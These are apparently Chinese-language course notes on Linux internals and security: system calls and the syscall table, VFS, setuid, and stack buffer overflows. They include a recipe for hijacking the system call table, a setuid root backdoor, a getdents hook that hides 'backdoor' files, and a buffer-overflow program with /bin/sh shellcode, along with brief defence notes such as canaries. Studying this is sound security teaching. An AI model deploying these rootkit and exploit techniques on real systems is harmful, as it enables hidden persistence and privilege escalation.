系统调用是库函数实现的基础,是用户态可以和内核进行交互的机制。用户使用硬件的接口,就是操作系统提供的系统调用(System Call)。进行系统调用的时候是通过系统调用的编号,而不是通过地址进行调用的。

一般地,系统调用都是通过软件中断实现的。

  1. 应用程序代码调用系统调用(xyz),该函数是一个包装系统调用的库函数
  2. 库函数(xyz)负责准备向内核传递的参数,并触发软中断以切换到内核;
  3. CPU 被软中断打断后,执行中断处理函数,即系统调用处理函数(system_call)
  4. 系统调用处理函数调用系统调用服务例程(sys_xyz),真正开始处理该系统调用。

为了真正执行 sys_xyz(),系统调用会统一跳转到 system_call 这个处理例程,执行它,然后在根据具体的系统调用的号,来找到具体的系统调用代码。

软中断指令 int 0x80 执行时,系统调用号会被放入 eax 寄存器,同时,sys_call_table 每一项占用 4 个字节。这样,system_call 函数可以读取 eax 寄存器获得当前系统调用的系统调用号,将其乘以 4 生成偏移地址,然后以 sys_call_table 为基址,基址加上偏移地址所指向的内容即是应该执行的系统调用服务例程的地址。此时, 可以真正执行 sys_xyz()。

32位和64位的系统调用过程没看,14

系统调用劫持

如何篡改系统调用?

  1. 篡改系统调用的基本思路是将 SCT 表中指向正常的系统调用的指针,改成我们自己的函数地址。首先,需要注意的是,SCT 本身是有写保护的,所以,直接去修改会报错。首先要对它取消写保护。可以通过设置 cr0 寄存器的 WP 位为 0,禁止 CPU 上的写保护。当然,写完之后,还是要将恢复写保护,防止 SCT 被其他进程意外篡改。
  2. 接下来就是实现自己的系统调用函数,一般来说,主要是对系统原有的结果进行过滤

为何 Unix 可以做到一切皆文件。

linux 通过 VFS 对各种文件系统提供支持。VFS 定义了所有文件系统都支持的基本的、概念上的接口和数据结构;同时实际文件系统也提供一个符合 VFS 标准的接口。在大部分情况下,VFS 给用户空间的程序提供文件系统接口,用户通过 libc 和 kernel 的 VFS 交互,不需要关心底层文件系统的具体实现(但是有时应用程序也需要考虑底层文件系统限制),而 VFS 中的实际操作则最终要通过实际文件系统来完成;同时,它也提供了内核中的一个抽象功能,允许不同的文件系统共存。系统中所有的文件系统不但依赖 VFS 共存,而且也依靠 VFS 协同工作。

因此,VFS 的意义如下:

  1. 向上,对应用层提供一个标准的文件操作接口;
  2. 对下,对文件系统提供一个标准的接口,以便其他操作系统的文件系统可以方便的移植到 Linux 上;
  3. VFS 内部则通过一系列高效的管理机制,比如 inode cache, dentry cache 以及文件系统的预读等技术,使得底层文件系统不需沉溺到复杂的内核操作,即可获得高性能;
  4. 此外 VFS 把一些复杂的操作尽量抽象到 VFS 内部,使得底层文件系统实现更简单。

Hook–> 类似于回调函数?

3.2版本的代码要自己往后指20字节才能指向TCP header


effective UID

  • 执行进程时所拥有的权限ID
    real UID
  • 本身所拥有的ID

一般情况下两个ID相同,但若程序中有setuid函数,则可能会不同。

setuid, seteuid 在不同模式背景下对 saveduid 的影响??


backdoor: setuid(0)

  • owner: root
  • chmod: 4755

rootkit: 替换ls, 替换readdir库函数,替换getdents。从底层开始使其返回想要的值。(ls 调用 readdir,readdir 基于 getdents 系统调用)


内核级 LKM:

int 0x80 中断进入内核态。

32位linux系统调用源码

32位系统系统调用过程:

  1. 软中断进入内核态(执行 INT 0x80 指令);
  2. 查 IDT 中断向量表,找到对应的中断处理程序 sys_call,处理中断;
  3. sys_call 进行现场保护,然后查 sys_call_table 找到对应的中断处理程序,执行相应任务。

专门有一个寄存器用于保存 IDT 中断向量表的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){
long value,tlen;
long len = 0;
value = (*old_getdents) (fd, dirp, count);
tlen = value;

while(tlen > 0)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n",dirp->d_name);

if(strstr(dirp->d_name,"backdoor") == NULL)//remove backdoor结构体
{
printk("find file\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful.\n");
}
if(tlen)
dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//指针后移
}
printk(KERN_INFO "finished hacked_getdents.\n");
return value;
}

如何检查?打印SCT地址表。内核态地位,用户态高位。内核态SCT表中突然出现用户态地址–>被篡改了。


缓冲区溢出

  • 什么是返回地址?
  • 汇编语言中,call 指令的作用是什么?
  • 请描述当函数调用发生时,进程地址空间中栈帧的变化。
  • 如何防止缓冲区溢出攻击。
  • 缓冲区溢出就是写入到缓冲区或者从缓冲区读取的数据超出了缓冲区可以容纳的范围。
  • 每个进程都有进程空间:32 位系统,进程空间是 4G,64 位系统,进程空间是 2^64。地址空间中包括代码段、地址段、栈段。

调用栈最重要的是存储返回地址。要返回调用函数,必须有一个调用函数的记录:恢复执行函数调用指令后紧跟的指令。该指令的地址称为返回地址。堆栈用于维护这些返回地址:每当调用一个函数时,返回地址都会被压入堆栈。每当函数返回时,返回地址都会从堆栈中弹出,处理器开始执行该地址的指令。

在 x86 定义的寄存器中,eip 代表当前正在执行的指令的地址指针,esp 代表函数调用的栈顶指针,ebp 代表函数调用的栈底。每次将某些东西推入堆栈时,esp 中的值都会减少。每次从堆栈弹出一些东西时,esp 的值都会增加。这意味着堆栈“向下”增长随着更多东西被推入堆栈,esp 中存储的地址越来越低。

  • 当执行调用(call)时,堆栈指针 esp 递减 4 个字节(32 位),并且调用后的指令地址(返回地址)被写入现在由 esp 引用的存储器位置——换句话说,返回地址被压入栈。然后将 eip 设置为指定为要调用的操作数的地址,并从该地址继续执行。

%gs:检查数组是否溢出。stack protector。

地址转换:算出来的十进制地址怎么除?取决于a本身的类型占用几个字节。

堆栈:canary保护(一旦进入金丝雀区,即说明发现用户试图强行更改栈结构,故强制退出程序–>段错误)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

char large_string[256];

void main() {
char buffer[96];
int i;
unsigned long *long_ptr = (unsigned long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆盖return address;这样,返回地址变为buffer首地址;下一个for循环,使得shellcode在strcpy的起始;使用strcpy,保证buffer首地址就是shellode的起始
////// 32*4 = 128, buff_headaddr

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}

覆盖main函数返回地址,返回时返回的是buffer首地址,而buffer首地址中存放的是shell code。

在64位系统上失败的原因:从large_string到buffer的拷贝不成功。导致返回地址的值没有被修改。获得shell失败。

↑strcpy遇到0停止,64位系统地址前面有0

↑为什么错呢?作为局部变量,int i是放在堆栈中的,在缓冲区溢出时,恰好会将int i覆盖掉,而且恰好是用0xff覆盖,所以会导致循环提前退出。(int i在堆栈中的位置是在main返回地址之下)

逃避随机初始地址进行攻击


扩展

Ping 的原理?

How Ping Works?

ping的权限:

会创建s与t权限,是为了让一般用户在执行某些程序的时候,能够暂时具有该程序拥有者的权限。举例来说,我们知道,账号与密码的存放文件其实是 /etc/passwd与 /etc/shadow。而 /etc/shadow文件的权限是“-r——–”。它的拥有者是root。在这个权限中,仅有root可以“强制”存储,其他人是连看都不行的。

文件权限与 chmod?

Telnet

Telnet本身的缺陷是:

  1. 没有口令保护,远程用户的登陆传送的帐号和密码都是明文,使用普通的sniffer都可以被截获
  2. 没有强力认证过程。只是验证连接者的帐户和密码。
  3. 没有完整性检查。传送的数据没有办法知道是否完整的,而不是被篡改过的数据。
  4. 传送的数据都没有加密。

Reference

[1] ARP 缓存中毒
[2] IP 数据包分片


感谢汪宇同学勘误~~~